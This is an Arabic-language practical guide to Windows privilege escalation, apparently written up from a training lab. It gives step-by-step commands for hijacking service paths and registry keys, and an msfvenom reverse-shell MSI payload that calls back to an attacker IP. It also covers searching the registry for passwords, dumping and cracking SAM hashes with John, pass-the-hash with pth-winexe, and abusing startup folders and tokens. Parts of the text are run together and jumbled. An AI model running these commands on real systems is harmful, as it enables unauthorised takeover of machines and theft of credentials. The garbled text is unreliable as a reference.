
دليلي العملي لمفاهيم تصعيد الامتيازات في ويندوز. تأكد من الاطلاع على قائمة التشغيل الخاصة بي، الرابط: https://www.youtube.com/playlist?list=PLlrnAg4kKF3puXLI0JyltbNJOC2R2HVFk
نقطة مهمة جديرة بالملاحظة وهي المجموعات، أي مستخدم ضمن مجموعة المسؤولين يساعدنا على تصعيد الصلاحيات!
whoami /priv - صلاحيات المستخدم الحاليnet users - يسرد جميع المستخدمينnet user <username> - يسرد تفاصيل مستخدم معينqwinsta - المستخدمون الآخرون المسجلون دخولهم في نفس الوقتnet localgroup - المجموعات المتوفرة في النظامnet localgroup <group-name> - يسرد أعضاء مجموعة معينةsysteminfo - يعطي كل المعلومات حول نظام التشغيلhostname - اسم المضيف للنظامfindstr /si password *.txt - نبحث عن الملفات التي تحتوي على 'password' وتحديدًا في الملفات النصيةwmic qfe get Caption,Description,HotFixID,InstalledOn - يخبرنا عن التصحيحات الأمنية والمعلومات ذات الصلةnetstat -ano - الاتصالات المرتبطة بالجهازschtasks /query /fo LIST /v - للبحث عن أي مهام مجدولةsysteminfo على جهازك وهذا هو المطلب الوحيد لهذه الأداةwmic product get name,version,vendor - يعطي اسم المنتج والإصدار والبائع. هذا الأمر بالتحديد يعطي تصورًا واضحًا لما نحتاجه.wmic service list brief | findstr "Running" ومن أجل الحصول على مزيد من المعلومات حول الخدمة استخدم sc qc <ServiceName>post/multi/recon/local_exploit_suggester، تأكد من أن جلستك في الخلفية حتى تعمل هذه الأداة بشكل صحيح، أو يمكنك ببساطة تحميلها من meterpreter.winpeas.exe --helpsysteminfo وانسخ ذلك إلى أي ملف وسمِّه بالامتداد .txtهنا سنحاول تحديد الخدمات التي تمتلك صلاحيات غير آمنة ثم يمكننا محاولة استغلالها.
هنا يمكننا استخدام الأمر winpeas.exe servicesinfo ويمكننا رؤية الخدمات المفيدة جدًا
أحد الأجزاء المثيرة للاهتمام في المخرجات هو كما يلي،```
daclsvc(DACL Service)["C:\Program Files\DACL Service\daclservice.exe"] - Manual - Stopped YOU CAN MODIFY THIS SERVICE: ChangeConfig
- لكن للحصول على مزيد من المعلومات يمكننا استخدام أداة تسمى **accesschk** وهي من إنتاج مايكروسوفت، قم بتشغيلها على النحو التالي `accesschk.exe /accepteula -uwcqv <current-user> <service>`، الناتج هو،```
C:\PrivEsc>accesschk.exe /accepteula -uwcqv user daclsvc
daclsvc
SERVICE_QUERY_STATUS
SERVICE_QUERY_CONFIG
SERVICE_CHANGE_CONFIG
SERVICE_INTERROGATE
SERVICE_ENUMERATE_DEPENDENTS
SERVICE_START
SERVICE_STOP
READ_CONTROL
service_change_config حيث يمكننا تغيير إعدادات الخدمة.sc qc <service> ثم لاحظ Binary_path_name (يمكن أيضًا تسميته binpath)، الذي سنقوم بتغييره (ابتسامة شريرة)sc config <service> <option>="<value>"sc config daclsvc binpath="<path>" ثم ابدأ الخدمة sc start daclsvcVulnerable Service: C:\Program Files\Ignite Data\Vuln Service\file.exe
The system will read this path in the following sequence from 1 to 4 to trigger malicous.exe through a writeable directory.
C:\Program.exe C:\Program Files\Ignite.exe C:\Program Files\Ignite Data\Vuln.exe C:\Program Files\Ignite Data\Vuln Service\file.exe
- للحصول على مزيد من المعلومات، ما عليك سوى استخدام سكربت **WinPEAS** مع الخيار `servicesinfo`، وهنا يمكننا رؤية معلومات حول ما إذا كان يمكننا استغلال أي **Unquoted Service Path**. لقد قمت بتشغيل الأداة وكان الجزء المثير للاهتمام من المخرجات كما يلي،```
unquotedsvc(Unquoted Path Service)[C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe] - Manual - Stopped - No quotes and Space detected
sc qc <service>C:\Program Files\Unquoted Path Service باستخدام accesschk، لذا قم بتشغيل accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service". الإخراج:```
accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service"
C:\Program Files\Unquoted Path Service
Medium Mandatory Level (Default) [No-Write-Up]
RW BUILTIN\Users
RW NT SERVICE\TrustedInstaller
RW NT AUTHORITY\SYSTEM
RW BUILTIN\Administrators- لدينا إذن القراءة والكتابة.
- الآن سننشئ الحمولة ونلصقها في `C:\Program Files\Unquoted Path Service`، عبر `copy reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"`، هنا أستخدم اسمًا مختلفًا له ميزة تتعلق بالترتيب الأبجدي أيضًا.
- الآن ابدأ الخدمة، `sc start unquotedsvc`، نحن مسؤولون!!!
-----------------------
### صلاحيات السجل الضعيفة:
- هنا سنحاول استغلال الخدمات ذات صلاحيات السجل الضعيفة.
- للبحث، نحتاج إلى استخدام `Winpeas` مع خيار `servicesinfo`. يكون الناتج مشابهًا لهذا```
���������� Looking if you can modify any service registry
� Check if you can modify the registry of a service https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services-registry-permissions
HKLM\system\currentcontrolset\services\regsvc (Interactive [FullControl])
regsvc، لذا دعنا نتعمق في هذه الخدمة، قم بتشغيل sc qc regsvc وسيكون الناتج كما يلي،```
sc qc regsvc
[SC] QueryServiceConfig SUCCESSSERVICE_NAME: regsvc TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 3 DEMAND_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : "C:\Program Files\Insecure Registry Service\insecureregistryservice.exe" LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Insecure Registry Service DEPENDENCIES : SERVICE_START_NAME : LocalSystem
- حقيقة رائعة أن المسار محاط بعلامات اقتباس، لذا لا يوجد **Unquoted Service Path**.
- الآن دعنا نشغّل `accesschk.exe` وندخل في العمق، لذا شغّل `accesschk /acceptula -uvwqk <path of registry>`(وهو `HKLM\system\currentcontrolset\services\regsvc`)
- ابحث عن `RW NT AUTHORITY\INTERACTIVE(KEY_ALL_ACCESS)` في المخرجات ونحن الآن جاهزون للاستغلال.
- الآن دعنا نرى الخيارات داخل الريجستري باستخدام `reg query HKLM\system\currentcontrolset\services\regsvc` وقد وجدت خيارًا يسمى `ImagePath` يقبل قيمة ملف تنفيذي، لذا دعنا نستغله. أولاً، أنشئ شيلًا عكسيًا.
- الآن شغّل `reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f`, واختر مسار الحمولة وفقًا لمتطلباتك.
- الآن شغّل الخدمة: `net start regsvc` ومرحى! لقد حصلت على الشيل.
-----------------------
### الملفات التنفيذية غير الآمنة للخدمات:
- هنا صلاحيات الملف للخدمة يمكن الوصول إليها من الجميع! نحاول تغيير الملف التنفيذي للخدمة ونكون جاهزين!
- دعنا نشغّل **Winpeas** تحديدًا بوحدة **servicesinfo** ودعنا نرى أي شيء مثير، والمخرجات هي،```
filepermsvc(File Permissions Service)["C:\Program Files\File Permissions Service\filepermservice.exe"] - Manual - Stopped
File Permissions: Everyone [AllAccess]
filepermsvc، لذا سننشئ حمولة reverse_shell ونستبدل بها الملف التنفيذي للخدمة وسنحصل على شل.reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run - وهذا سيعرض برامج التشغيل التلقائي ومساراتها.- حصلنا على برنامجين مع المسار، فلنختبرهما.
- الآن سنشغّل **accesscheck** للتحقق من الصلاحيات المتاحة لمسار الملف لهذه البرامج التي تعمل تلقائيًا (autoruns).
- ببساطة شغّل `accesschk.exe \accepteula -wvu "<path>"`، قمت بتشغيله لمسار **My Program** وكان الناتج `FILE_ALL_ACCESS`، لذا يمكننا حرفيًا فعل أي شيء في هذا المجلد. بشكل أساسي يمكننا استبدال الملف التنفيذي الأصلي وإعادة تشغيل النظام وسنحصل على الشل.
- لا، نحتاج إلى الانتظار حتى تسجيل دخول المسؤول وسنحصل على الشل كمستخدم بصلاحيات مميزة!
- الملاحظة هنا أننا نحتاج إلى الانتظار حتى يسجّل المسؤول/المالك الدخول أو كل شيء سيكون على ما يرام!
------------------------------
### AlwaysInstallElevated
- يسمح للمستخدم القياسي بتثبيت **msi** (مثبّت مايكروسوفت) بصلاحيات إدارية.
- هذا أمر رائع وسهل للحصول على صلاحيات أعلى،
- يمكننا التحقق من ذلك بتشغيل،
`reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
` و
`reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
`
- شغّل هذين الأمرين ويجب أن تكون قيمة **AlwaysInstallElevated** هي 1 أو 0x1. حتى نتمكن من التأكيد والمتابعة.
- الآن أنشئ شل عكسي بصيغة **msi**، وللاطلاع على مرجع انظر الأمر أدناه،
`msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.13.39.50 LPORT=4444 --platform windows -f msi > reverse.msi`
- الآن انقله إلى جهاز ويندوز وشغّل الأمر،
`msiexec /quiet /qn /i reverse.msi`
- مرحى! حصلنا على الشل بصلاحية `nt authority\system`
------------------
-------------------
## كلمات المرور:
- هنا نبحث عن بيانات الاعتماد في السجل، الملفات... إلخ.
- وسنحاول تسجيل الدخول!
----------------------
### البحث عن كلمات المرور في السجل:
- يمكننا البحث في السجل عن كلمات المرور، وأحيانًا يمكننا العثور على كلمات مرور مستخدمين آخرين أو حتى كلمة مرور المالك.
- شغّل `reg query HKLM /f password /t REG_SZ /s` وهذا يعرض كل التفاصيل في السجل التي تحتوي على النص **password**، ابحث وربما تجدها! لكن الجزء المحزن أنني لم أتمكن من الحصول على أي شيء!
- أيضًا شغّل `reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"
`، فقد نجد بعض المعلومات.
- يمكننا أيضًا الاستفادة من أداتنا الأسطورية **winPEAS** وتشغيلها مع بعض الخيارات مثل `windowscreds` - تبحث عن بيانات الاعتماد، وأيضًا `filesinfo` - تفحص الملفات والسجل بحثًا عن بيانات مفيدة (وأحيانًا كلمات المرور أيضًا)
- بعد الحصول على كلمة المرور وهنا هي `password123`، لذا الآن لندخل بمساعدة **psexec**(الرابط: https://github.com/SecureAuthCorp/impacket/blob/master/examples/psexec.py) وبناء الجملة هو `python3 psexec.py [email protected]` ثم سيطلب كلمة المرور، اذكرها وسنحصل على وصول مثل المسؤول!
-------------------------
### كلمات المرور: Savedcreds
- أولاً شغّل `cmdkey /list`، هنا **cmdkey** هو تطبيق خادم ويندوز يقوم *بإنشاء وقائمة وحذف أسماء المستخدمين وكلمات المرور أو بيانات الاعتماد المخزنة*. بتشغيل هذا يمكننا رؤية جميع بيانات اعتماد المستخدمين المحفوظة!
- الناتج هو،```
Currently stored credentials:
Target: WindowsLive:target=virtualapp/didlogical
Type: Generic
User: 02nfpgrklkitqatu
Local machine persistence
Target: Domain:interactive=WIN-QBA94KB3IOF\admin
Type: Domain Password
User: WIN-QBA94KB3IOF\admin
runas /savecred /user:admin C:\Temp\reverse.exe، هذا سيمنحنا صلاحيات الأدمنC:\Windows\Repair، حتى نتمكن من اللعب! يوجد في ذلك الدليل ملفان وهما SAM وSYSTEMdownload في meterpreterpython2 pwdump.py /opt/work/SYSTEM /opt/work/SAM وسيعرض تجزئات المستخدمين المتاحين على جهاز ويندوز. المخرجات هي،```
Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:6ebaa6d5e6e601996eefe4b6048834c2:::
user:1000:aad3b435b51404eeaad3b435b51404ee:91ef1073f6ae95f5ea6ace91c09a963a:::
admin:1001:aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da:::- الآن احفظ المحتوى أعلاه في ملف نصي وافك تشفيره بمساعدة **JohnTheRipper**، الصيغة هي `john --format=NT hashes.txt --wordlist=/usr/share/wordlist/rockyou.txt`، وقد تم كسره!```
password123 (admin)
password321 (user)
Passw0rd! (Administrator)
a9fdfa038c4b75ebc76dc855dd74f0daexport SMBHASH=aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da هنا نحن نستخدم التجزئة مع groupid أيضًاpth-winexe -U admin% //10.10.213.97 cmd.exe، حصلت على شل كـ adminpth-winexe متوفرة بالفعل في كالي.schtasks /query /fo LIST /VCleanUp.ps1 مثيرًا للاهتمام والمسار هو C:\DevTools\CleanUp.ps1accesschk.exe /accepteula -quvw user C:\DevTools\CleanUp.ps1 ولدينا جميع الصلاحيات للقراءة والكتابة...إلخ- ثم قمت بنقله وإعادة تسميته إلى `CleanUp.ps1` وحصلت على الاتصال.
--------------------
---------------------
## تطبيقات الواجهة الرسومية غير الآمنة:
- بعد الحصول على اتصال RDP، افتح `Taskmanager` ومن هناك في تبويب `Details` يمكننا رؤية التطبيقات والمستخدم الذي يقوم بتشغيلها.
- هنا قاموا بتكوين `mspaint.exe` ليعمل كمسؤول (admin) عن قصد، لذا سيكون هذا هدفنا.
- بما أننا نعمل مع **Paint** سيكون لدينا خيار لفتح الملفات، لذا سنفتح `file://c:/windows/system32/cmd.exe` وفجأة! نحصل على شل كمستخدم **admin**!
- هنا الوظيفة محدودة بعض الشيء لأننا قد لا نحصل دائمًا على اتصال RDP.
-----------------------
----------------------
## تطبيقات بدء التشغيل:
- تمتلك ويندوز ميزة تسمح لبعض التطبيقات بالعمل عند بدء التشغيل، ويمكننا استغلال هذه الميزة.
- توجد تطبيقات بدء التشغيل في `C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp`، وهذا هو المسار الافتراضي.
- لنفحص ما يمكننا فعله عبر **accesschk.exe**، لذا شغّل `accesschk.exe /accepteula -d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"`. الناتج هو،```
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
Medium Mandatory Level (Default) [No-Write-Up]
RW BUILTIN\Users
RW WIN-QBA94KB3IOF\Administrator
RW WIN-QBA94KB3IOF\admin
RW NT AUTHORITY\SYSTEM
RW BUILTIN\Administrators
R Everyone
CreateShortcut.vbs يعمل بصلاحيات المسؤول، والهدف الرئيسي منه هو إنشاء اختصار للـ reverse-shell الذي قمنا برفعه.list_tokens -u وذلك داخل جلسة الميتربريتر، وبعد العثور على توكن مناسب ثم تشغيل impersonate_token <name of token>whomai /priv ورؤية صلاحيات المستخدم الحالي، وإذا وجدنا صلاحية مثل SeAssignPrimaryToken...إلخ وهي من النوع الخطير نوعًا ما، هذا خطير جدًا! لمعرفة المزيد عن هذه الصلاحيات وكيفية استغلالها اطلع على هذا المقال: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#eop---impersonation-privilegesNT Authority/System
[لا يزال قيد التنفيذ.....]driverquery - يسرد المعلومات المتعلقة بالتعريفاتsc query windefend - يبحث عن خدمة برنامج مكافحة الفيروسات